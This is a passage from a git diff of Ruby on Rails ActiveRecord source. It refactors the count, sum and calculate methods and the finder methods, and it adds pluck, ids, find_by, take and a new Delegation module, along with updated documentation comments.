@@ -1,61 +1,30 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/try'
 
 module ActiveRecord
   module Calculations
-    # Count operates using three different approaches.
-    #
-    # * Count all: By not passing any parameters to count, it will return a count of all the rows for the model.
-    # * Count using column: By passing a column name to count, it will return a count of all the
-    #   rows for the model with supplied column present.
-    # * Count using options will find the row count matched by the options used.
-    #
-    # The third approach, count using options, accepts an option hash as the only parameter. The options are:
-    #
-    # * <tt>:conditions</tt>: An SQL fragment like "administrator = 1" or [ "user_name = ?", username ].
-    #   See conditions in the intro to ActiveRecord::Base.
-    # * <tt>:joins</tt>: Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id"
-    #   (rarely needed) or named associations in the same form used for the <tt>:include</tt> option, which will
-    #   perform an INNER JOIN on the associated table(s). If the value is a string, then the records
-    #   will be returned read-only since they will have attributes that do not correspond to the table's columns.
-    #   Pass <tt>:readonly => false</tt> to override.
-    # * <tt>:include</tt>: Named associations that should be loaded alongside using LEFT OUTER JOINs.
-    #   The symbols named refer to already defined associations. When using named associations, count
-    #   returns the number of DISTINCT items for the model you're counting.
-    #   See eager loading under Associations.
-    # * <tt>:order</tt>: An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
-    # * <tt>:group</tt>: An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
-    # * <tt>:select</tt>: By default, this is * as in SELECT * FROM, but can be changed if you, for example,
-    #   want to do a join but not include the joined columns.
-    # * <tt>:distinct</tt>: Set this to true to make this a distinct calculation, such as
-    #   SELECT COUNT(DISTINCT posts.id) ...
-    # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed to an
-    #   alternate table name (or even the name of a database view).
-    #
-    # Examples for counting all:
-    #   Person.count         # returns the total count of all people
-    #
-    # Examples for counting by column:
-    #   Person.count(:age)  # returns the total count of all people whose age is present in database
-    #
-    # Examples for count with options:
-    #   Person.count(:conditions => "age > 26")
-    #
-    #   # because of the named association, it finds the DISTINCT count using LEFT OUTER JOIN.
-    #   Person.count(:conditions => "age > 26 AND job.salary > 60000", :include => :job)
-    #
-    #   # finds the number of rows matching the conditions and joins.
-    #   Person.count(:conditions => "age > 26 AND job.salary > 60000",
-    #                :joins => "LEFT JOIN jobs on jobs.person_id = person.id")
-    #
-    #   Person.count('id', :conditions => "age > 26") # Performs a COUNT(id)
-    #   Person.count(:all, :conditions => "age > 26") # Performs a COUNT(*) (:all is an alias for '*')
-    #
-    # Note: <tt>Person.count(:all)</tt> will not work because it will use <tt>:all</tt> as the condition.
-    # Use Person.count instead.
+    # Count the records.
+    #
+    #   Person.count
+    #   # => the total count of all people
+    #
+    #   Person.count(:age)
+    #   # => returns the total count of all people whose age is present in database
+    #
+    #   Person.count(:all)
+    #   # => performs a COUNT(*) (:all is an alias for '*')
+    #
+    #   Person.count(:age, distinct: true)
+    #   # => counts the number of different age values
+    #
+    #   Person.where("age > 26").count { |person| person.gender == 'female' }
+    #   # => queries people where "age > 26" then count the loaded results filtering by gender
     def count(column_name = nil, options = {})
-      column_name, options = nil, column_name if column_name.is_a?(Hash)
-      calculate(:count, column_name, options)
+      if block_given?
+        self.to_a.count { |item| yield item }
+      else
+        column_name, options = nil, column_name if column_name.is_a?(Hash)
+        calculate(:count, column_name, options)
+      end
     end
 
     # Calculates the average value on a given column. Returns +nil+ if there's
@@ -89,30 +58,35 @@ module ActiveRecord
     # +calculate+ for examples with options.
     #
     #   Person.sum('age') # => 4562
+    #   # => returns the total sum of all people's age
+    #
+    #   Person.where('age > 100').sum { |person| person.age - 100 }
+    #   # queries people where "age > 100" then perform a sum calculation with the block returns
     def sum(*args)
       if block_given?
-        self.to_a.sum(*args) {|*block_args| yield(*block_args)}
+        self.to_a.sum(*args) { |item| yield item }
       else
         calculate(:sum, *args)
       end
     end
 
     # This calculates aggregate values in the given column. Methods for count, sum, average,
-    # minimum, and maximum have been added as shortcuts. Options such as <tt>:conditions</tt>,
-    # <tt>:order</tt>, <tt>:group</tt>, <tt>:having</tt>, and <tt>:joins</tt> can be passed to customize the query.
+    # minimum, and maximum have been added as shortcuts.
     #
     # There are two basic forms of output:
+    #
     #   * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float
     #     for AVG, and the given column's type for everything else.
-    #   * Grouped values: This returns an ordered hash of the values and groups them by the
-    #     <tt>:group</tt> option. It takes either a column name, or the name of a belongs_to association.
     #
-    #       values = Person.maximum(:age, :group => 'last_name')
+    #   * Grouped values: This returns an ordered hash of the values and groups them. It
+    #     takes either a column name, or the name of a belongs_to association.
+    #
+    #       values = Person.group('last_name').maximum(:age)
     #       puts values["Drake"]
     #       => 43
     #
     #       drake  = Family.find_by_last_name('Drake')
-    #       values = Person.maximum(:age, :group => :family) # Person belongs_to :family
+    #       values = Person.group(:family).maximum(:age) # Person belongs_to :family
     #       puts values[drake]
     #       => 43
     #
@@ -120,54 +94,113 @@ module ActiveRecord
     #       ...
     #       end
     #
-    # Options:
-    # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ].
-    #   See conditions in the intro to ActiveRecord::Base.
-    # * <tt>:include</tt>: Eager loading, see Associations for details. Since calculations don't load anything,
-    #   the purpose of this is to access fields on joined tables in your conditions, order, or group clauses.
-    # * <tt>:joins</tt> - An SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id".
-    #   (Rarely needed).
-    #   The records will be returned read-only since they will have attributes that do not correspond to the
-    #   table's columns.
-    # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
-    # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
-    # * <tt>:select</tt> - By default, this is * as in SELECT * FROM, but can be changed if you for example
-    #   want to do a join, but not include the joined columns.
-    # * <tt>:distinct</tt> - Set this to true to make this a distinct calculation, such as
-    #   SELECT COUNT(DISTINCT posts.id) ...
-    #
     # Examples:
     #   Person.calculate(:count, :all) # The same as Person.count
     #   Person.average(:age) # SELECT AVG(age) FROM people...
-    #   Person.minimum(:age, :conditions => ['last_name != ?', 'Drake']) # Selects the minimum age for
-    #                                                                    # everyone with a last name other than 'Drake'
     #
     #   # Selects the minimum age for any family without any minors
-    #   Person.minimum(:age, :having => 'min(age) > 17', :group => :last_name)
+    #   Person.group(:last_name).having("min(age) > 17").minimum(:age)
     #
     #   Person.sum("2 * age")
     def calculate(operation, column_name, options = {})
-      if options.except(:distinct).present?
-        apply_finder_options(options.except(:distinct)).calculate(operation, column_name, :distinct => options[:distinct])
-      else
-        relation = with_default_scope
+      relation = with_default_scope
 
-        if relation.equal?(self)
-          if eager_loading? || (includes_values.present? && references_eager_loaded_tables?)
-            construct_relation_for_association_calculations.calculate(operation, column_name, options)
-          else
-            perform_calculation(operation, column_name, options)
-          end
+      if relation.equal?(self)
+        if has_include?(column_name)
+          construct_relation_for_association_calculations.calculate(operation, column_name, options)
         else
-          relation.calculate(operation, column_name, options)
+          perform_calculation(operation, column_name, options)
         end
+      else
+        relation.calculate(operation, column_name, options)
       end
     rescue ThrowResult
       0
     end
 
+    # Use <tt>pluck</tt> as a shortcut to select a single attribute without
+    # loading a bunch of records just to grab one attribute you want.
+    #
+    #   Person.pluck(:name)
+    #
+    # instead of
+    #
+    #   Person.all.map(&:name)
+    #
+    # Pluck returns an <tt>Array</tt> of attribute values type-casted to match
+    # the plucked column name, if it can be deduced. Plucking an SQL fragment
+    # returns String values by default.
+    #
+    # Examples:
+    #
+    #   Person.pluck(:id)
+    #   # SELECT people.id FROM people
+    #   # => [1, 2, 3]
+    #
+    #   Person.pluck(:id, :name)
+    #   # SELECT people.id, people.name FROM people
+    #   # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+    #
+    #   Person.uniq.pluck(:role)
+    #   # SELECT DISTINCT role FROM people
+    #   # => ['admin', 'member', 'guest']
+    #
+    #   Person.where(:age => 21).limit(5).pluck(:id)
+    #   # SELECT people.id FROM people WHERE people.age = 21 LIMIT 5
+    #   # => [2, 3]
+    #
+    #   Person.pluck('DATEDIFF(updated_at, created_at)')
+    #   # SELECT DATEDIFF(updated_at, created_at) FROM people
+    #   # => ['0', '27761', '173']
+    #
+    def pluck(*column_names)
+      column_names.map! do |column_name|
+        if column_name.is_a?(Symbol) && self.column_names.include?(column_name.to_s)
+          "#{table_name}.#{column_name}"
+        else
+          column_name
+        end
+      end
+
+      if has_include?(column_names.first)
+        construct_relation_for_association_calculations.pluck(*column_names)
+      else
+        result  = klass.connection.select_all(select(column_names).arel, nil, bind_values)
+        columns = result.columns.map do |key|
+          klass.column_types.fetch(key) {
+            result.column_types.fetch(key) {
+              Class.new { def type_cast(v); v; end }.new
+            }
+          }
+        end
+
+        result = result.map do |attributes|
+          values = klass.initialize_attributes(attributes).values
+
+          columns.zip(values).map do |column, value|
+            column.type_cast(value)
+          end
+        end
+        columns.one? ? result.map!(&:first) : result
+      end
+    end
+
+    # Pluck all the ID's for the relation using the table's primary key
+    #
+    # Examples:
+    #
+    #   Person.ids # SELECT people.id FROM people
+    #   Person.joins(:companies).ids # SELECT people.id FROM people INNER JOIN companies ON companies.person_id = people.id
+    def ids
+      pluck primary_key
+    end
+
     private
 
+    def has_include?(column_name)
+      eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+    end
+
     def perform_calculation(operation, column_name, options = {})
       operation = operation.to_s.downcase
 
@@ -185,7 +218,7 @@ module ActiveRecord
         distinct = nil if column_name =~ /\s*DISTINCT\s+/i
       end
 
-      if @group_values.any?
+      if group_values.any?
         execute_grouped_calculation(operation, column_name, distinct)
       else
         execute_simple_calculation(operation, column_name, distinct)
@@ -223,14 +256,21 @@ module ActiveRecord
         query_builder = relation.arel
       end
 
-      type_cast_calculated_value(@klass.connection.select_value(query_builder), column_for(column_name), operation)
+      result = @klass.connection.select_value(query_builder, nil, relation.bind_values)
+      type_cast_calculated_value(result, column_for(column_name), operation)
     end
 
     def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
-      group_attr      = @group_values
-      association     = @klass.reflect_on_association(group_attr.first.to_sym)
-      associated      = group_attr.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
-      group_fields  = Array(associated ? association.foreign_key : group_attr)
+      group_attrs = group_values
+
+      if group_attrs.first.respond_to?(:to_sym)
+        association  = @klass.reflect_on_association(group_attrs.first.to_sym)
+        associated   = group_attrs.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
+        group_fields = Array(associated ? association.foreign_key : group_attrs)
+      else
+        group_fields = group_attrs
+      end
+
       group_aliases = group_fields.map { |field| column_alias_for(field) }
       group_columns = group_aliases.zip(group_fields).map { |aliaz,field|
         [aliaz, column_for(field)]
@@ -250,16 +290,20 @@ module ActiveRecord
           operation,
           distinct).as(aggregate_alias)
       ]
-      select_values += @select_values unless @having_values.empty?
+      select_values += select_values unless having_values.empty?
 
       select_values.concat group_fields.zip(group_aliases).map { |field,aliaz|
-        "#{field} AS #{aliaz}"
+        if field.respond_to?(:as)
+          field.as(aliaz)
+        else
+          "#{field} AS #{aliaz}"
+        end
       }
 
-      relation = except(:group).group(group.join(','))
+      relation = except(:group).group(group)
       relation.select_values = select_values
 
-      calculated_data = @klass.connection.select_all(relation)
+      calculated_data = @klass.connection.select_all(relation, nil, bind_values)
 
       if association
         key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
@@ -267,11 +311,11 @@ module ActiveRecord
         key_records = Hash[key_records.map { |r| [r.id, r] }]
       end
 
-      ActiveSupport::OrderedHash[calculated_data.map do |row|
-        key   = group_columns.map { |aliaz, column|
+      Hash[calculated_data.map do |row|
+        key = group_columns.map { |aliaz, column|
           type_cast_calculated_value(row[aliaz], column)
         }
-        key   = key.first if key.size == 1
+        key = key.first if key.size == 1
         key = key_records[key] if associated
         [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
       end]
@@ -286,6 +330,7 @@ module ActiveRecord
     #   column_alias_for("count(*)")                 # => "count_all"
     #   column_alias_for("count", "id")              # => "count_id"
     def column_alias_for(*keys)
+      keys.map! {|k| k.respond_to?(:to_sql) ? k.to_sql : k}
       table_name = keys.join(' ')
       table_name.downcase!
       table_name.gsub!(/\*/, 'all')
@@ -297,7 +342,7 @@ module ActiveRecord
     end
 
     def column_for(field)
-      field_name = field.to_s.split('.').last
+      field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split('.').last
       @klass.columns.detect { |c| c.name.to_s == field_name }
     end
 
@@ -315,9 +360,9 @@ module ActiveRecord
     end
 
     def select_for_count
-      if @select_values.present?
-        select = @select_values.join(", ")
-        select if select !~ /(,|\*)/
+      if select_values.present?
+        select = select_values.join(", ")
+        select if select !~ /[,*]/
       end
     end
 
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
new file mode 100644
index 0000000000..ab8b36c8ab
--- /dev/null
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -0,0 +1,48 @@
+
+module ActiveRecord
+  module Delegation # :nodoc:
+    # Set up common delegations for performance (avoids method_missing)
+    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+    delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
+             :connection, :columns_hash, :auto_explain_threshold_in_seconds, :to => :klass
+
+    def self.delegate_to_scoped_klass(method)
+      if method.to_s =~ /\A[a-zA-Z_]\w*[!?]?\z/
+        module_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def #{method}(*args, &block)
+            scoping { @klass.#{method}(*args, &block) }
+          end
+        RUBY
+      else
+        module_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def #{method}(*args, &block)
+            scoping { @klass.send(#{method.inspect}, *args, &block) }
+          end
+        RUBY
+      end
+    end
+
+    def respond_to?(method, include_private = false)
+      super || Array.method_defined?(method) ||
+        @klass.respond_to?(method, include_private) ||
+        arel.respond_to?(method, include_private)
+    end
+
+    protected
+
+    def method_missing(method, *args, &block)
+      if @klass.respond_to?(method)
+        ::ActiveRecord::Delegation.delegate_to_scoped_klass(method)
+        scoping { @klass.send(method, *args, &block) }
+      elsif Array.method_defined?(method)
+        ::ActiveRecord::Delegation.delegate method, :to => :to_a
+        to_a.send(method, *args, &block)
+      elsif arel.respond_to?(method)
+        ::ActiveRecord::Delegation.delegate method, :to => :arel
+        arel.send(method, *args, &block)
+      else
+        super
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 3c8e0f2052..84aaa39fed 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,85 +1,23 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/hash/indifferent_access'
 
 module ActiveRecord
   module FinderMethods
-    # Find operates with four different retrieval approaches:
+    # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
+    # If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
+    # is an integer, find by id coerces its arguments using +to_i+.
     #
-    # * Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
-    #   If no record can be found for all of the listed ids, then RecordNotFound will be raised.
-    # * Find first - This will return the first record matched by the options used. These options can either be specific
-    #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
-    #   <tt>Model.find(:first, *args)</tt> or its shortcut <tt>Model.first(*args)</tt>.
-    # * Find last - This will return the last record matched by the options used. These options can either be specific
-    #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
-    #   <tt>Model.find(:last, *args)</tt> or its shortcut <tt>Model.last(*args)</tt>.
-    # * Find all - This will return all the records matched by the options used.
-    #   If no records are found, an empty array is returned. Use
-    #   <tt>Model.find(:all, *args)</tt> or its shortcut <tt>Model.all(*args)</tt>.
-    #
-    # All approaches accept an options hash as their last parameter.
-    #
-    # ==== Options
-    #
-    # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1", <tt>["user_name = ?", username]</tt>,
-    #   or <tt>["user_name = :user_name", { :user_name => user_name }]</tt>. See conditions in the intro.
-    # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name".
-    # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-    # * <tt>:having</tt> - Combined with +:group+ this can be used to filter the records that a
-    #   <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
-    # * <tt>:limit</tt> - An integer determining the limit on the number of rows that should be returned.
-    # * <tt>:offset</tt> - An integer determining the offset from where the rows should be fetched. So at 5,
-    #   it would skip rows 0 through 4.
-    # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed),
-    #   named associations in the same form used for the <tt>:include</tt> option, which will perform an
-    #   <tt>INNER JOIN</tt> on the associated table(s),
-    #   or an array containing a mixture of both strings and named associations.
-    #   If the value is a string, then the records will be returned read-only since they will
-    #   have attributes that do not correspond to the table's columns.
-    #   Pass <tt>:readonly => false</tt> to override.
-    # * <tt>:include</tt> - Names associations that should be loaded alongside. The symbols named refer
-    #   to already defined associations. See eager loading under Associations.
-    # * <tt>:select</tt> - By default, this is "*" as in "SELECT * FROM", but can be changed if you,
-    #   for example, want to do a join but not include the joined columns. Takes a string with the SELECT SQL fragment (e.g. "id, name").
-    # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed
-    #   to an alternate table name (or even the name of a database view).
-    # * <tt>:readonly</tt> - Mark the returned records read-only so they cannot be saved or updated.
-    # * <tt>:lock</tt> - An SQL fragment like "FOR UPDATE" or "LOCK IN SHARE MODE".
-    #   <tt>:lock => true</tt> gives connection's default exclusive lock, usually "FOR UPDATE".
-    #
-    # ==== Examples
-    #
-    #   # find by id
     #   Person.find(1)       # returns the object for ID = 1
+    #   Person.find("1")     # returns the object for ID = 1
     #   Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
     #   Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
     #   Person.find([1])     # returns an array for the object with ID = 1
     #   Person.where("administrator = 1").order("created_on DESC").find(1)
     #
     # Note that returned records may not be in the same order as the ids you
-    # provide since database rows are unordered. Give an explicit <tt>:order</tt>
+    # provide since database rows are unordered. Give an explicit <tt>order</tt>
     # to ensure the results are sorted.
     #
-    # ==== Examples
-    #
-    #   # find first
-    #   Person.first # returns the first object fetched by SELECT * FROM people
-    #   Person.where(["user_name = ?", user_name]).first
-    #   Person.where(["user_name = :u", { :u => user_name }]).first
-    #   Person.order("created_on DESC").offset(5).first
-    #
-    #   # find last
-    #   Person.last # returns the last object fetched by SELECT * FROM people
-    #   Person.where(["user_name = ?", user_name]).last
-    #   Person.order("created_on DESC").offset(5).last
-    #
-    #   # find all
-    #   Person.all # returns an array of objects for all the rows fetched by SELECT * FROM people
-    #   Person.where(["category IN (?)", categories]).limit(50).all
-    #   Person.where({ :friends => ["Bob", "Steve", "Fred"] }).all
-    #   Person.offset(10).limit(10).all
-    #   Person.includes([:account, :friends]).all
-    #   Person.group("category").all
+    # ==== Find with lock
     #
     # Example for find with a lock: Imagine two concurrent transactions:
     # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting
@@ -93,30 +31,62 @@ module ActiveRecord
     #     person.save!
     #   end
     def find(*args)
-      return to_a.find { |*block_args| yield(*block_args) } if block_given?
-
-      options = args.extract_options!
-
-      if options.present?
-        apply_finder_options(options).find(*args)
+      if block_given?
+        to_a.find { |*block_args| yield(*block_args) }
       else
-        case args.first
-        when :first, :last, :all
-          send(args.first)
-        else
-          find_with_ids(*args)
-        end
+        find_with_ids(*args)
       end
     end
 
-    # A convenience wrapper for <tt>find(:first, *args)</tt>. You can pass in all the
-    # same arguments to this method as you can to <tt>find(:first)</tt>.
-    def first(*args)
-      if args.any?
-        if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
-          limit(*args).to_a
+    # Finds the first record matching the specified conditions. There
+    # is no implied ording so if order matters, you should specify it
+    # yourself.
+    #
+    # If no record is found, returns <tt>nil</tt>.
+    #
+    #   Post.find_by name: 'Spartacus', rating: 4
+    #   Post.find_by "published_at < ?", 2.weeks.ago
+    def find_by(*args)
+      where(*args).take
+    end
+
+    # Like <tt>find_by</tt>, except that if no record is found, raises
+    # an <tt>ActiveRecord::RecordNotFound</tt> error.
+    def find_by!(*args)
+      where(*args).take!
+    end
+
+    # Gives a record (or N records if a parameter is supplied) without any implied
+    # order. The order will depend on the database implementation.
+    # If an order is supplied it will be respected.
+    #
+    #   Person.take # returns an object fetched by SELECT * FROM people
+    #   Person.take(5) # returns 5 objects fetched by SELECT * FROM people LIMIT 5
+    #   Person.where(["name LIKE '%?'", name]).take
+    def take(limit = nil)
+      limit ? limit(limit).to_a : find_take
+    end
+
+    # Same as +take+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found. Note that <tt>take!</tt> accepts no arguments.
+    def take!
+      take or raise RecordNotFound
+    end
+
+    # Find the first record (or first N records if a parameter is supplied).
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.first # returns the first object fetched by SELECT * FROM people
+    #   Person.where(["user_name = ?", user_name]).first
+    #   Person.where(["user_name = :u", { :u => user_name }]).first
+    #   Person.order("created_on DESC").offset(5).first
+    #   Person.first(3) # returns the first three objects fetched by SELECT * FROM people LIMIT 3
+    def first(limit = nil)
+      if limit
+        if order_values.empty? && primary_key
+          order(arel_table[primary_key].asc).limit(limit).to_a
         else
-          apply_finder_options(args.first).first
+          limit(limit).to_a
         end
       else
         find_first
@@ -129,18 +99,27 @@ module ActiveRecord
       first or raise RecordNotFound
     end
 
-    # A convenience wrapper for <tt>find(:last, *args)</tt>. You can pass in all the
-    # same arguments to this method as you can to <tt>find(:last)</tt>.
-    def last(*args)
-      if args.any?
-        if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
-          if order_values.empty? && reorder_value.nil?
-            order("#{primary_key} DESC").limit(*args).reverse
-          else
-            to_a.last(*args)
-          end
+    # Find the last record (or last N records if a parameter is supplied).
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.last # returns the last object fetched by SELECT * FROM people
+    #   Person.where(["user_name = ?", user_name]).last
+    #   Person.order("created_on DESC").offset(5).last
+    #   Person.last(3) # returns the last three objects fetched by SELECT * FROM people.
+    #
+    # Take note that in that last case, the results are sorted in ascending order:
+    #
+    #   [#<Person id:2>, #<Person id:3>, #<Person id:4>]
+    #
+    # and not:
+    #
+    #   [#<Person id:4>, #<Person id:3>, #<Person id:2>]
+    def last(limit = nil)
+      if limit
+        if order_values.empty? && primary_key
+          order(arel_table[primary_key].desc).limit(limit).reverse
         else
-          apply_finder_options(args.first).last
+          to_a.last(limit)
         end
       else
         find_last
@@ -153,14 +132,8 @@ module ActiveRecord
       last or raise RecordNotFound
     end
 
-    # A convenience wrapper for <tt>find(:all, *args)</tt>. You can pass in all the
-    # same arguments to this method as you can to <tt>find(:all)</tt>.
-    def all(*args)
-      args.any? ? apply_finder_options(args.first).to_a : to_a
-    end
-
-    # Returns true if a record exists in the table that matches the +id+ or
-    # conditions given, or false otherwise. The argument can take five forms:
+    # Returns +true+ if a record exists in the table that matches the +id+ or
+    # conditions given, or +false+ otherwise. The argument can take six forms:
     #
     # * Integer - Finds the record with this primary key.
     # * String - Finds the record with a primary key corresponding to this
@@ -168,8 +141,9 @@ module ActiveRecord
     # * Array - Finds the record that matches these +find+-style conditions
     #   (such as <tt>['color = ?', 'red']</tt>).
     # * Hash - Finds the record that matches these +find+-style conditions
-    #   (such as <tt>{:color => 'red'}</tt>).
-    # * No args - Returns false if the table is empty, true otherwise.
+    #   (such as <tt>{color: 'red'}</tt>).
+    # * +false+ - Returns always +false+.
+    # * No args - Returns +false+ if the table is empty, +true+ otherwise.
     #
     # For more information about specifying conditions as a Hash or Array,
     # see the Conditions section in the introduction to ActiveRecord::Base.
@@ -178,29 +152,30 @@ module ActiveRecord
     # 'Jamie'</tt>), since it would be sanitized and then queried against
     # the primary key column, like <tt>id = 'name = \'Jamie\''</tt>.
     #
-    # ==== Examples
     #   Person.exists?(5)
     #   Person.exists?('5')
-    #   Person.exists?(:name => "David")
     #   Person.exists?(['name LIKE ?', "%#{query}%"])
+    #   Person.exists?(name: 'David')
+    #   Person.exists?(false)
     #   Person.exists?
-    def exists?(id = false)
-      return false if id.nil?
-
-      id = id.id if ActiveRecord::Base === id
+    def exists?(conditions = :none)
+      conditions = conditions.id if ActiveRecord::Model === conditions
+      return false if !conditions
 
       join_dependency = construct_join_dependency_for_association_find
       relation = construct_relation_for_association_find(join_dependency)
-      relation = relation.except(:select, :order).select("1").limit(1)
+      relation = relation.except(:select, :order).select("1 AS one").limit(1)
 
-      case id
+      case conditions
       when Array, Hash
-        relation = relation.where(id)
+        relation = relation.where(conditions)
       else
-        relation = relation.where(table[primary_key].eq(id)) if id
+        relation = relation.where(table[primary_key].eq(conditions)) if conditions != :none
       end
 
-      connection.select_value(relation, "#{name} Exists") ? true : false
+      connection.select_value(relation, "#{name} Exists", relation.bind_values)
+    rescue ThrowResult
+      false
     end
 
     protected
@@ -208,19 +183,19 @@ module ActiveRecord
     def find_with_associations
       join_dependency = construct_join_dependency_for_association_find
       relation = construct_relation_for_association_find(join_dependency)
-      rows = connection.select_all(relation, 'SQL', relation.bind_values)
+      rows = connection.select_all(relation, 'SQL', relation.bind_values.dup)
       join_dependency.instantiate(rows)
     rescue ThrowResult
       []
     end
 
     def construct_join_dependency_for_association_find
-      including = (@eager_load_values + @includes_values).uniq
+      including = (eager_load_values + includes_values).uniq
       ActiveRecord::Associations::JoinDependency.new(@klass, including, [])
     end
 
     def construct_relation_for_association_calculations
-      including = (@eager_load_values + @includes_values).uniq
+      including = (eager_load_values + includes_values).uniq
       join_dependency = ActiveRecord::Associations::JoinDependency.new(@klass, including, arel.froms.first)
       relation = except(:includes, :eager_load, :preload)
       apply_join_dependency(relation, join_dependency)
@@ -258,44 +233,6 @@ module ActiveRecord
       ids_array.empty? ? raise(ThrowResult) : table[primary_key].in(ids_array)
     end
 
-    def find_by_attributes(match, attributes, *args)
-      conditions = Hash[attributes.map {|a| [a, args[attributes.index(a)]]}]
-      result = where(conditions).send(match.finder)
-
-      if match.bang? && result.blank?
-        raise RecordNotFound, "Couldn't find #{@klass.name} with #{conditions.to_a.collect {|p| p.join(' = ')}.join(', ')}"
-      else
-        yield(result) if block_given?
-        result
-      end
-    end
-
-    def find_or_instantiator_by_attributes(match, attributes, *args)
-      options = args.size > 1 && args.last(2).all?{ |a| a.is_a?(Hash) } ? args.extract_options! : {}
-      protected_attributes_for_create, unprotected_attributes_for_create = {}, {}
-      args.each_with_index do |arg, i|
-        if arg.is_a?(Hash)
-          protected_attributes_for_create = args[i].with_indifferent_access
-        else
-          unprotected_attributes_for_create[attributes[i]] = args[i]
-        end
-      end
-
-      conditions = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes).symbolize_keys
-
-      record = where(conditions).first
-
-      unless record
-        record = @klass.new(protected_attributes_for_create, options) do |r|
-          r.assign_attributes(unprotected_attributes_for_create, :without_protection => true)
-        end
-        yield(record) if block_given?
-        record.save if match.instantiator == :create
-      end
-
-      record
-    end
-
     def find_with_ids(*ids)
       return to_a.find { |*block_args| yield(*block_args) } if block_given?
 
@@ -318,21 +255,11 @@ module ActiveRecord
     def find_one(id)
       id = id.id if ActiveRecord::Base === id
 
-      if IdentityMap.enabled? && where_values.blank? &&
-        limit_value.blank? && order_values.blank? &&
-        includes_values.blank? && preload_values.blank? &&
-        readonly_value.nil? && joins_values.blank? &&
-        !@klass.locking_enabled? &&
-        record = IdentityMap.get(@klass, id)
-        return record
-      end
-
       column = columns_hash[primary_key]
-
-      substitute = connection.substitute_at(column, @bind_values.length)
+      substitute = connection.substitute_at(column, bind_values.length)
       relation = where(table[primary_key].eq(substitute))
-      relation.bind_values = [[column, id]]
-      record = relation.first
+      relation.bind_values += [[column, id]]
+      record = relation.take
 
       unless record
         conditions = arel.where_sql
@@ -344,18 +271,18 @@ module ActiveRecord
     end
 
     def find_some(ids)
-      result = where(table[primary_key].in(ids)).all
+      result = where(table[primary_key].in(ids)).to_a
 
       expected_size =
-        if @limit_value && ids.size > @limit_value
-          @limit_value
+        if limit_value && ids.size > limit_value
+          limit_value
         else
           ids.size
         end
 
       # 11 ids with limit 3, offset 9 should give 2 results.
-      if @offset_value && (ids.size - @offset_value < expected_size)
-        expected_size = ids.size - @offset_value
+      if offset_value && (ids.size - offset_value < expected_size)
+        expected_size = ids.size - offset_value
       end
 
       if result.size == expected_size
@@ -370,11 +297,24 @@ module ActiveRecord
       end
     end
 
+    def find_take
+      if loaded?
+        @records.first
+      else
+        @take ||= limit(1).to_a.first
+      end
+    end
+
     def find_first
       if loaded?
         @records.first
       else
-        @first ||= limit(1).to_a[0]
+        @first ||=
+          if with_default_scope.order_values.empty? && primary_key
+            order(arel_table[primary_key].asc).limit(1).to_a.first
+          else
+            limit(1).to_a.first
+          end
       end
     end
 
@@ -386,7 +326,7 @@ module ActiveRecord
           if offset_value || limit_value
             to_a.last
           else
-            reverse_order.limit(1).to_a[0]
+            reverse_order.limit(1).to_a.first
           end
       end
     end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
new file mode 100644
index 0000000000..e5b50673da
--- /dev/null
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -0,0 +1,119 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActiveRecord
+  class Relation
+    class HashMerger # :nodoc:
+      attr_reader :relation, :hash
